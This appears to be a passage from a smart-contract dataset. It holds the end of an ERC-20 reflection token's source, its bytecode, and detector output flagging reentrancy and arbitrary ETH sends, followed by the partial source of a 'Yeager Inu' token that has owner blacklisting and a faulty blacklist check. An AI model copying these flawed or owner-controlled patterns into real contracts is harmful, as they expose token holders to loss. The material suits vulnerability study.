tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600881526020017f53696d70736f6e73000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f53494d50534f4e53000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b671757a3cffff77618635223b4721dbc626f7d9962e8a7e740b9d857dd7319564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,239
0x8966f05d78f5c6ede8e964df705847fe2b6045b1
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract YeagerInu is Context, IERC20Metadata, Ownable { struct governingTaxes{ uint32 _split0; uint32 _split1; uint32 _split2; uint32 _split3; address _wallet1; address _wallet2; } struct Fees { uint256 _fee0; uint256 _fee1; uint256 _fee2; uint256 _fee3; } uint32 private _totalTaxPercent; governingTaxes private _governingTaxes; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isLiquidityPool; mapping (address => bool) private _isBlacklisted; uint256 public _maxTxAmount; uint256 private _maxHoldAmount; bool private _tokenLock = true; //Locking the token until Liquidty is added bool private _taxReverted = false; uint256 public _tokenCommenceTime; uint256 private constant _startingSupply = 100_000_000_000_000_000; //100 Quadrillion uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = _startingSupply * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Yeager Inu"; string private constant _symbol = "YEAGER"; uint8 private constant _decimals = 9; address public constant burnAddress = 0x000000000000000000000000000000000000dEaD; constructor (address wallet1_, address wallet2_) { _rOwned[_msgSender()] = _rTotal; /* Total Tax Percentage per Transaction : 10% Tax Split: > Burn (burnAddress): 10% > Dev Wallet (wallet1): 20% > Marketing Wallet (wallet2): 50% > Holders (reflect): 20% */ /* >>> First 24 hour Tax <<< Total Tax Percentage per Transaction : 25% Tax Split: > Burn (burnAddress): 4% > Dev Wallet (wallet1): 40% > Marketing Wallet (wallet2): 40% > Holders (reflect): 16% */ _totalTaxPercent = 25; _governingTaxes = governingTaxes(4, 40, 40, 16, wallet1_, wallet2_); //Max TX amount is 100% of the total supply, will be updated when token gets into circulation (anti-whale) _maxTxAmount = (_startingSupply * 10**9); //Max Hold amount is 2% of the total supply. (Only for first 24 hours) (anti-whale) _maxHoldAmount = ((_startingSupply * 10**9) * 2) / 100; //Excluding Owner and Other Governing Wallets From Reward System; excludeFromFee(owner()); excludeFromReward(owner()); excludeFromReward(burnAddress); excludeFromReward(wallet1_); excludeFromReward(wallet2_); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure override returns (string memory) { return _name; } function symbol() public pure override returns (string memory) { return _symbol; } function decimals() public pure override returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function currentTaxes() public view returns ( uint32 total_Tax_Percent, uint32 burn_Split, uint32 governingSplit_Wallet1, uint32 governingSplit_Wallet2, uint32 reflect_Split ) { return ( _totalTaxPercent, _governingTaxes._split0, _governingTaxes._split1, _governingTaxes._split2, _governingTaxes._split3 ); } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isBlacklisted(address account) public view returns (bool) { return _isBlacklisted[account]; } function isLiquidityPool(address account) public view returns (bool) { return _isLiquidityPool[account]; } function _hasLimits(address from, address to) private view returns (bool) { return from != owner() && to != owner() && to != burnAddress; } function setBlacklistAccount(address account, bool enabled) external onlyOwner() { _isBlacklisted[account] = enabled; } function setLiquidityPool(address account, bool enabled) external onlyOwner() { _isLiquidityPool[account] = enabled; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply"); // Cannot set lower than 0.1% _maxTxAmount = maxTxAmount; } function unlockToken() external onlyOwner() { _tokenLock = false; _tokenCommenceTime = block.timestamp; } function revertTax() external { require(!_tokenLock, "Token is Locked for Liquidty to be added"); require(block.timestamp - _tokenCommenceTime > 86400, "Tax can be reverted only after 24hrs"); //check for 24 hours timeperiod require(!_taxReverted, "Tax had been Reverted!"); //To prevent taxRevert more than once _totalTaxPercent = 10; _governingTaxes._split0 = 10; _governingTaxes._split1 = 20; _governingTaxes._split2 = 50; _governingTaxes._split3 = 20; _maxHoldAmount = _tTotal; //Removing the max hold limit of 2% _taxReverted = true; } function setTaxes( uint32 totalTaxPercent_, uint32 split0_, uint32 split1_, uint32 split2_, uint32 split3_, address wallet1_, address wallet2_ ) external onlyOwner() { require(wallet1_ != address(0) && wallet2_ != address(0), "Tax Wallets assigned zero address !"); require(totalTaxPercent_ <= 10, "Total Tax Percent Exceeds 10% !"); // Prevents owner from manipulating Tax. require(split0_+split1_+split2_+split3_ == 100, "Split Percentages does not sum upto 100 !"); _totalTaxPercent = totalTaxPercent_; _governingTaxes._split0 = split0_; _governingTaxes._split1 = split1_; _governingTaxes._split2 = split2_; _governingTaxes._split3 = split3_; _governingTaxes._wallet1 = wallet1_; _governingTaxes._wallet2 = wallet2_; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 tAmount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require((!_tokenLock) || (!_hasLimits(sender, recipient)) , "Token is Locked for Liquidty to be added"); if(_hasLimits(sender, recipient)) { require(tAmount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount"); require(!isBlacklisted(sender) || !isBlacklisted(recipient), "Sniper Rejected"); if(!_taxReverted && !_isLiquidityPool[recipient]) { require(balanceOf(recipient)+tAmount <= _maxHoldAmount, "Receiver address exceeds the maxHoldAmount"); } } uint32 _previoustotalTaxPercent; if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) //checking if Tax should be deducted from transfer { _previoustotalTaxPercent = 